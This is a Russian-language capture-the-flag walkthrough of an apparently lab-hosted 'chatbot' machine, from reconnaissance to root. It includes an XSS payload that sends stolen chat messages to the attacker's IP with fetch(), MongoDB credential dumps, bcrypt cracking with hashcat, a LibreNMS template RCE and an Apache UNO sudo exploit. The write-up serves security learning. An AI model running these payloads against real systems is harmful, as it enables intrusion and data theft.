Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/257.

Также на https://boosty.to/kiberdruzhinnik/posts/6f7b175e-76b7-4152-8bd4-e53cda71787b я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Классически начинаем решение машины со сканирования портов моим любимым rustscan:

Open 10.129.109.211:22
Open 10.129.109.211:80

Обнаруживаем только два открытых порта - веб (80) и ssh (22).

Веб

Нас встречает форма логина. Зарегистрируем аккаунт.

alt text

Залогинимся и перейдем в чат-бота.

alt text

Посмотрим в исходный код страницы и обнаружим JavaScript-библиотеки axios и socket.io:

Попробуем написать маленький код для разведки:

const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function () {
    const res = axios.get(`/user/api/chat`);
    const socket = io('/', { withCredentials: true });
    socket.on('message', (my_message) => {
        fetch("http://10.10.14.45:4243/?d=" + btoa(my_message))
    });
    socket.emit('client_message', 'history');
});

Я пробовал отправить эту нагрузку в чат-бот, но там нет взаимодействия с другой стороны. Поэтому пробуем отправлять нагрузку в контактную форму.

alt text

Изучаем информацию. Отсюда мы узнаем о домене dev-git-auto-update.chatbot.htb. Добавим этот домен в /etc/hosts:

$ sudo nano /etc/hosts
10.129.109.211 chatbot.htb dev-git-auto-update.chatbot.htb

Посмотрим, что находится на этом домене:

alt text

Внизу обнаруживаем версию используемого приложения simple-git 3.14. Удачно для нас, Snyk описывает POC на своем сайте https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221.

Нам не составляет труда получить шелл.

Подключимся к mongo:

$ mongo
$ show dbs
admin    0.000GB
config   0.000GB
local    0.000GB
testing  0.000GB
$ use testing
$ show collections
messages
users
$ db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "[email protected]", "password" : "hash1", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTAwNjAxNDZ9.ZUIZ0c9ggCDZcqZF5L7E4RSMnfYIEl_FXmIHO2cmfik", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "[email protected]", "password" : "hash2", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }

Отсюда вытаскиваем хеш пользователя frank_dorky и записываем его в файл hash.txt. В файле /var/www/app/controllers/registration.js видим, что используется хеш bcrypt с солью.

Поэтому брутим вот такой командой:

hashcat -m 3200 -a 0 hash.txt rockyou.txt

Далее получаем данные учетной записи frank_dorky и логинимся по SSH.

Флаг пользователя

alt text

Повышение привилегий

Выполним netstat и увидим сервис на порту 3000:

alt text

Пробросим порт и посмотрим, что у нас крутится на этом порту:

alt text

Логинимся с помощью учетки frank_dorky. Это librenms версии 22.10.0.

alt text

Проверяем флаги на /opt/librenms (это позволяет нам добавить админский аккаунт https://community.librenms.org/t/adding-admin-users-on-librenms/20782/2).

Логинимся с помощью свежесозданного админского пользователя.

Изучаем ссылку https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/ и понимаем, что можем достичь RCE с помощью Alert Templates.

Добавляем Alert Template и записываем его ID (http://librenms.com:3000/templates). Помните, мы переходили выше в meterpreter? Выйдем из него (ведь у нас уже есть SSH), запустим слушателя снова, а в темплейт запишем тот самый бинарник:

@php
  system("/tmp/s");
@endphp

И сразу ловим шелл:

alt text

Переходим в каталог /opt/librenms и считываем .custom.env, из которого получаем учетные данные kai_relay.

Логинимся через SSH.

Проверяем, что умеет этот пользователь с помощью sudo:

$ sudo -l
Matching Defaults entries for kai_relay on forumlax:
    env_reset, timestamp_timeout=0, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_reset,
    timestamp_timeout=0

User kai_relay may run the following commands on forumlax:
    (ALL) NOPASSWD: /usr/bin/office.sh
$ cat /usr/bin/office.sh
#!/bin/bash
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless

Здесь используется StarOffice. Мы воспользуемся эксплоитом https://github.com/sud0woodo/ApacheUNO-RCE/tree/master и получим шелл.

alt text

Флаг суперпользователя

alt text